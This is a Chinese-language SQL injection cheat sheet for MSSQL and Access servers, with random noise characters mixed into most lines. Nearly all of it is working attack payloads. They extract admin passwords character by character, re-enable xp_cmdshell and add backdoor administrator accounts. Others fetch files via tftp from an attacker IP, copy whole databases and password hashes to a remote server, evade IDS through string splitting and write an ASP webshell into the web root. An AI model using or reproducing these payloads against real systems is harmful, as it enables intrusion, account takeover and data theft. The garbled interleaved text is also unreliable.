1..判断有无注入点
" W0 O) Z- E7 m9 u) E' ^/ t; and 1=1 and 1=2 ) r6 Y3 d4 Q# u: ? o5 V
$ l! \# o( O7 c: T; P
/ N6 M% I% }+ ^% }+ c7 E4 R( a2.猜表一般的表的名称无非是admin adminuser user pass password 等..
. |3 b; E$ F- N1 r, mand 0<>(select count(*) from *) # C9 D7 L- Q8 w& C. H2 {
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
* P$ l$ D8 t# p! ]9 L
& L: O8 p }$ T* T3 A8 X/ [# B2 V! r: T( w! p
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 2 R- i7 X2 F$ h; r J/ O) O- G
and 0<(select count(*) from admin)
) C: j- `! C& p F5 s% H/ C% `and 1<(select count(*) from admin)
. l3 B+ F) G+ a5 G5 y; G猜列名还有 and (select count(列名) from 表名)>0
' W( [! g3 o. R0 C7 e8 N
x+ D5 Y8 u w* y p; D Y3 Y
# e/ ^+ i2 H; ]& ~4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
" K9 Z; f+ Q% _) p2 }and 1=(select count(*) from admin where len(*)>0)-- ' U3 B" _2 z# y9 L+ P$ C
and 1=(select count(*) from admin where len(用户字段名称name)>0)
: B/ s+ ~9 @9 s- `7 `and 1=(select count(*) from admin where len(密码字段名称password)>0) ; B# W8 S* @8 @0 q- X
: v# a0 [) T2 K! Y5 O) M0 L7 H5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 . u$ y) I# o+ t; \6 q2 L" r
and 1=(select count(*) from admin where len(*)>0)
9 g( _8 G1 l7 N5 @. R* d4 oand 1=(select count(*) from admin where len(name)>6) 错误 2 M5 r) ]* D6 N# e
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 9 v9 D4 {; m# Q. v
and 1=(select count(*) from admin where len(name)=6) 正确 2 H% y* P/ v$ ~2 p& N3 m6 K
4 c) d* Y5 R. j5 O0 \: w+ b6 B
and 1=(select count(*) from admin where len(password)>11) 正确 # L& N2 p0 o W. u" [/ ?: q+ |/ O0 P
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
' s7 |8 d( G2 X- ?and 1=(select count(*) from admin where len(password)=12) 正确 ; X" E" @' z% p
猜长度还有 and (select top 1 len(username) from admin)>5
$ E# `" B- J8 Z4 k( `: F: S9 a
/ W% a6 I9 D0 w2 t9 ^
3 T- y8 T$ [4 l7 W0 U; D6.猜解字符
3 t4 V' @ I! E4 [' S7 E3 L" [' [and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
2 I! b, u5 [' }" i! q- Zand 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
5 E* l9 G( g8 j8 r% `: s就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 2 ^& v6 K5 K# S
4 i7 p% Y+ L( E0 p7 B/ L$ r' f猜内容还有 and (select top 1 asc(mid(password,1,1)) from admin)>50 用ASC码算6 _& T, m/ Q' Q. K# \ r& V
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 1 m! ]9 n& c# m: m
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. $ M% I7 X5 \- M% H
, c' ]( D6 c! D2 h4 p b/ E8 h# hgroup by users.id having 1=1-- : l% R6 L7 i9 @$ F. Q' t
group by users.id, users.username, users.password, users.privs having 1=1--
' n. n) a7 w6 L9 |! L6 R% c; insert into users values( 666, attacker, foobar, 0xffff )--
5 d; |8 `7 H' a5 d [. A4 Q7 l) Y# Q5 O k8 ?/ F
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
$ I$ z2 P- y! @0 I; ]UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)- 1 T* z) l& y/ p% M3 r- |" V
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)-
! X* P$ r( B) |! v" B8 yUNION SELECT TOP 1 login_name FROM logintable-
& x2 t) L4 Y3 ?9 iUNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
9 b# T; O$ {" u- O3 o4 J0 R& m: H; b* `0 c4 y
看服务器打的补丁=出错了打了SP4补丁 : h& T4 s7 w- D4 S2 H9 s6 }! A& K; r
and 1=(select @@VERSION)--
/ q6 \; C" S( B5 {
7 q5 C0 N& e; f: |看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
N+ a; I3 @9 j5 a; g3 qand 1=(SELECT IS_SRVROLEMEMBER(sysadmin))-- ( y+ K4 u2 Z2 i
3 Z; _( ]' ^ {: s判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
, b3 q+ a! G- y l+ S! K2 Iand sa=(SELECT System_user)--
. x8 ^& Z: t/ O. V2 cand user_name()=dbo-- + [1 n5 I! ]$ {5 K& W' Q
and 0<>(select user_name()--
" T3 z$ b5 a0 A8 l' T
' a+ Q5 q$ x4 G# F* i6 o看xp_cmdshell是否删除 : D3 u& r: s! ^$ r7 G( N
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
: C% l6 F# y# I2 W* y) K" K: B" }" [2 P" [
xp_cmdshell被删除,恢复,支持绝对路径的恢复
' q% r Q8 q/ R9 y7 J" Z1 r0 O;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
8 f9 z- Q. h) ^, o% O4 S# V;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll-- $ Y/ \. y1 N6 N4 T( G3 P: G
4 j6 \6 W( x: o, F9 a反向PING自己实验 ; W; d+ Y& g5 V j3 K# U: |& \
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- & Z. _/ O; i) V0 H
+ w& R$ y) ?0 O5 i" I加帐号
$ q6 h, `' B0 f; {5 @$ k+ v& F# W;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- . g+ i( v. E0 X" D: X: m, T
# b, M9 F6 G3 b: ]9 B }9 T: v
创建一个虚拟目录E盘:
1 N4 W6 T% U. \5 u/ F) z;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"-- 5 T6 V* r/ b- D' h9 R* }, X
1 \: R, y2 N; T8 D访问属性:(配合写入一个webshell) : j3 v9 o' U9 |/ t
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
) ]; B% h, h, [" c- P7 F
5 y& r7 |% C9 c! ^7 `+ I4 k
% A2 e) {$ Y% {9 M9 s/ q# yMSSQL也可以用联合查询
0 Z+ A7 k( d r1 r6 t( {- p( R, S?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin q( G. t- p g
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) - D% n( N' e, J3 ?. u+ s
2 h$ [7 c6 N; h. \! y. w3 i+ x7 E
5 `+ w! ]) Y" s/ Q6 k爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交 ) H) L7 k5 U o4 G
1 Q) `) k7 t9 @; C/ G
7 ^& b" r0 S. {6 m# q8 a8 c/ p" Y" O0 B4 C3 y
得到WEB路径
" I$ g" z& E4 a p;create table [dbo].[swap] ([swappass][char](255));-- 8 e) N! \2 L0 T( l8 `
and (select top 1 swappass from swap)=1-- - D5 q1 z, Z: }! c4 O1 H& F
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
; e( b( o( B! a# S;use ku1;--
% Q' a' f" c% z7 s4 ?. A7 s- S;create table cmd (str image);-- 建立image类型的表cmd 0 E, d0 F: N. L0 Q4 `
7 m& z1 v1 T$ s/ M8 R存在xp_cmdshell的测试过程: 7 } y- i' ]7 c/ K4 t5 p: E% W
;exec master..xp_cmdshell dir 4 Q2 r. o2 _* K" C6 f c# J
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
+ e0 Y. L/ N6 m. J- A;exec master.dbo.sp_password null,jiaoniang$,1866574;-- ; R8 E ?1 f1 k" S) r4 R" S
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
' R6 S: g7 F8 l- M- p4 x8 ^;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
3 P a4 }9 @( N* i# I;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- : {) d% a% Z3 ]' A
exec master..xp_servicecontrol start, schedule 启动服务 " _' a" M8 _2 ~
exec master..xp_servicecontrol start, server 7 l2 ]- v u- R3 e
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
& w% n, w1 ], a;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 3 V; E( I( n S
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 0 c" i6 `* U6 @0 y, F% n* `0 I
& j% G" o% g, A
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
: k9 X5 T: |4 J s6 }$ T;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ + }. h" ~) V8 w, {8 U" p# G, R
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat : Y5 r! [, C5 J, V" n8 h
如果被限制则可以。 + z0 k6 f" k, p* ?0 r( {8 G
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
5 S4 }0 ^- ^4 K9 @; B5 X- s1 s& n4 v; ~' `5 D0 ]3 L9 R/ e, |
查询构造: 1 ?# O, R2 h! P2 S# l
SELECT * FROM news WHERE id=... AND topic=... AND .....
% g: n% q, V4 G% Fadminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
2 e3 y/ ~- x% D) d3 qselect 123;-- 8 Z% W3 i5 F0 }( B# l4 `7 K) s
;use master;-- 2 u) g+ l1 f, J }2 a$ z1 T4 x. F
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
# K& k3 [9 X) x6 band 1<>(select count(email) from [user]);--
& P$ X: R( e8 P! ~& {( o/ q" b;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- # z) @. ~/ P% y' \1 f8 @ O, ^
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
, z( J2 @% g6 X3 u) h e6 m;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
& x" R( d/ f7 C1 B( Q5 M8 G;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
7 V: ^" h" |8 H) Q2 F# D8 S;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ; `* Q+ k/ V2 ?) G* t1 R6 U& P
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
& h. D; c! F, V4 |' e上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 9 W! z! i1 _, G# c, o& `
通过查看ffff的用户资料可得第一个用表叫ad
/ u; W; i' c6 V9 e然后根据表名ad得到这个表的ID 得到第二个表的名字
) W- I% [( J& X% `. E- c8 y, ]3 u
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- . U5 X& a# d* a. ?, S& J
insert into users values( 667,123,123,0xffff)-- 2 u* \* p1 }& t2 @2 ]4 m! c7 D, V
insert into users values ( 123, admin--, password, 0xffff)-- ' Q. q1 M& D6 [7 F$ N
;and user>0
% e7 _( R. n \4 ?- N6 v8 q;and (select count(*) from sysobjects)>0
7 ~% f Y/ ^" n" Z0 y) x: M/ K;and (select count(*) from mysysobjects)>0 //为access数据库
" N: {+ V. @% e: r% ]! _7 ?; ]3 W" a( d
枚举出数据表名 1 s/ g! Q7 ^/ B
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- $ H: I) a% v/ ]4 k/ Q
这是将第一个表名更新到aaa的字段处。
* h3 T [$ h( N& D读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
# u8 X- h2 b; @! B& z; O, b- z, Q;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
7 X% u1 ]( q& H3 o2 n5 B: W. T/ M然后id=1552 and exists(select * from aaa where aaa>5)
5 Q+ p2 {# D3 H7 m$ r' q& W读出第二个表,一个个的读出,直到没有为止。
4 G8 J: [0 Y1 c8 B) f2 k: A读字段是这样:
( H4 D1 R5 P, ]6 O3 m8 L: B;update aaa set aaa=(select top 1 col_name(object_id(表名),1));-- 7 a% c) h( K+ g' M' ~; N3 S6 T4 }
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 - B! s$ S! @* Y' u1 I
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));-- ( i7 B) I. b2 N' k3 g
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 5 |9 L: O7 _' n# f
% K% `* v7 p7 V! o
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 8 m" O% H9 Z; b( b+ |
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) ; W9 p4 z1 Y9 L! u6 H
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
7 T' Q9 A: `8 f: O. u1 ]6 q" T7 K& d6 ^" o6 k; ^9 F" F; l+ S6 w
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 7 i+ c2 n/ }+ B# w& H5 r: X) J, p8 C1 G
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件] , n' `; L2 l$ X( S5 U5 S+ R* }
* x2 h6 P3 K" O! w# ]绕过IDS的检测[使用变量]
) M& {0 Z; A6 q# j5 Q;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
/ {3 @! X2 w* m4 t. \ H2 a2 h;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
+ O" o/ y$ x$ C3 r, l! e$ e4 p- c, B, D: r1 c, |9 i9 ?! E# y9 J
1、 开启远程数据库 6 ]; ^" v6 f- S7 Q
基本语法 : U; u- O" ]% J; Y0 \ d7 S
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
* E5 {! H5 `+ d( o3 `( ?& \参数: (1) OLEDB Provider name
- g l# K) Z. C7 ]! Z3 z2、 其中连接字符串参数可以是任何端口用来连接,比如
1 T9 J) c6 T+ X1 `. O. h% w5 o+ @4 lselect * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table . {7 I1 b9 g5 E/ w1 a
3.复制目标主机的整个数据库insert所有远程表到本地表。
0 g( a7 D( Z5 f6 V. a8 D
; |: x" T' K/ ]! o! l1 z1 n9 l2 d) a- m基本语法:
4 q8 {% d' U0 H4 v7 _% {5 P3 uinsert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
1 e2 [5 r& B$ `+ ?" {+ U9 g" S4 @ m1 e8 r; N这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: - r; [1 N q4 x! g$ v
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
! D& P2 \6 T1 W/ w: q. {4 Hinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases) + q6 M) q- U8 Z g+ K% D, a% v9 O
select * from master.dbo.sysdatabases
% _; D: f) K& t4 i9 S8 o! L$ ?insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
+ e. w0 u+ `2 y6 Aselect * from user_database.dbo.sysobjects
3 w9 E' w9 \4 N1 T/ pinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
( @# v5 P$ Z) ]/ Sselect * from user_database.dbo.syscolumns " ? y; X0 t0 I% Q6 n2 }
复制数据库: - S; u$ C( q4 @4 U8 A/ K! b2 n3 U% b% _
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 & H" a$ j: m' d
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
4 {; g9 U l h L1 l6 X" P$ l5 C) N) V% y' P) H
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
% U* H) F' I1 L. pinsert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
5 G* b5 } I$ [1 i& c( I R% l得到hash之后,就可以进行暴力破解。 3 P" V! j# w% L; M: x) o$ @5 f5 y
`6 O; ?5 @9 O4 s3 W2 L5 J# J
遍历目录的方法: 先创建一个临时表:temp
4 e: E1 b6 a& L" D" q5 C;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" y+ u7 l6 `* d. C m. g;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 " [3 Y4 i$ q9 V
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 E, \! i9 r+ v) K: ]6 y$ b5 ]
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 * T' Z( Q' ~/ {/ d
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 5 D5 R; g/ ^0 c3 P5 }/ [7 v( R
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- & a% D9 {# q% [/ T% c! f/ T
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- n0 ?: E) o K+ [4 F4 b3 a6 d5 E
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc ( u' d- M. P% F% X/ n
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)
0 A8 W- J* B" P写入表: + U( _- @( x& l9 ]$ ]5 H
语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- - g, {# s& _! j$ @0 ]# i+ i$ T5 i
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
. m+ x# Z n$ [5 K0 P1 Y6 y6 G语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
$ t) n8 K4 S }1 d) n: T- J# d语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
3 V: `9 s f5 {语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
0 K: R) ^5 f: C$ U" q" \5 ^: \* O语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
6 Z9 b+ j7 n6 Z语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 3 x5 v! A0 W1 P- j$ c
语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- ( h( c) h4 D- _6 B
语句9:and 1=(SELECT IS_MEMBER(db_owner));--
0 I, r9 L+ y. l! e5 O: ?+ ~- F# Z2 b T
把路径写到表中去:
. m$ x( D9 W0 | o. ^) [;create table dirs(paths varchar(100), id int)-- . K! C' Z+ W+ ^: Y6 n1 {
;insert dirs exec master.dbo.xp_dirtree c:\--
* W$ g3 }$ N3 ?. h5 d+ Tand 0<>(select top 1 paths from dirs)--
$ D6 T) S7 }, x `. `7 ]5 Aand 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
3 s) A a% w1 y;create table dirs1(paths varchar(100), id int)-- 3 l# t% Z! ~1 q+ M# i
;insert dirs exec master.dbo.xp_dirtree e:\web--
# ]$ @, p, R* J1 aand 0<>(select top 1 paths from dirs1)--
8 z9 N. T$ g9 ?0 O: m
! X; T, ~& H3 ~( @; Z3 m1 E2 p7 R把数据库备份到网页目录:下载
- P" }. @% h$ K8 {' ^3 X;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- 6 H. Q5 j. j* [" M
. Y' _* w% d8 {and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
: b# O4 ?+ c# @and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
& A2 l* K& s* e- n) hand 1=(select user_id from USER_LOGIN)
6 y: h* Q$ j: qand 0=(select user from USER_LOGIN where user>1)
: ^" ^5 C( n2 ^& c7 L# q+ i: G/ B5 j0 f6 i1 @
-=- wscript.shell example -=-
]9 K4 b' y+ g0 D: C; m7 U1 V( Ndeclare @o int
h) [* s) @7 W2 Eexec sp_oacreate wscript.shell, @o out
: T) T2 P. }4 h; d2 Aexec sp_oamethod @o, run, NULL, notepad.exe 6 [/ c3 |2 A1 L( L% ^
; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--
' X$ N% V1 R1 c& k4 A
6 @ U2 O' p) ^6 Ddeclare @o int, @f int, @t int, @ret int k; a! y$ c7 z' H' r* ^
declare @line varchar(8000) / K& V0 I1 }! @# F4 _ R
exec sp_oacreate scripting.filesystemobject, @o out
( g: I5 I* y* I9 Texec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 - k7 V2 W2 c6 S* p+ F
exec @ret = sp_oamethod @f, readline, @line out
; j) J4 o( B9 [5 cwhile( @ret = 0 ) ( S* a5 Q8 w' v# s! e( }# r7 ` {
begin 9 @# Y# Z; ^3 m- A3 I6 W
print @line + V1 x$ }5 j, `$ T; F
exec @ret = sp_oamethod @f, readline, @line out / g% A/ a" D3 r& ^
end / Y+ G+ b2 }" ?8 t7 |
1 b ]' P5 V6 d0 m: y$ _declare @o int, @f int, @t int, @ret int
* q1 m1 o' i4 K( D: I7 B8 Eexec sp_oacreate scripting.filesystemobject, @o out & n4 u4 \. `& v& z5 W( P% w
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 % H6 |1 \) x# j
exec @ret = sp_oamethod @f, writeline, NULL,
: a* W! Z! [+ j, ]0 h! n* I; C<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
' ^* M/ o" k1 A3 j% T! `: x* J6 P+ d/ r% x( D& C
declare @o int, @ret int
& n0 L4 w* P3 m nexec sp_oacreate speech.voicetext, @o out + ]) p# ]6 I5 J7 ]$ F$ C
exec sp_oamethod @o, register, NULL, foo, bar / R2 g% R+ P! e; M
exec sp_oasetproperty @o, speed, 150 + m$ S8 j1 D) Z( `. D
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
4 L8 V4 f: t/ N" Rwaitfor delay 00:00:05 / `9 K6 x+ P5 W" z8 V% `! t# ]
( s |) } H1 o
; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
6 [+ ?# j% m! z+ [% o$ e5 W# g t9 h1 Z" [ ?% [
xp_dirtree适用权限PUBLIC & A' ]6 a/ N& t8 w. r
exec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
3 m! Y) r# \# ]3 Ucreate table dirs(paths varchar(100), id int)
# t* C1 o- @+ \建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。 % U `. [7 J& _1 r
insert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
& F' i. s+ R1 { a/ d2 @5 c |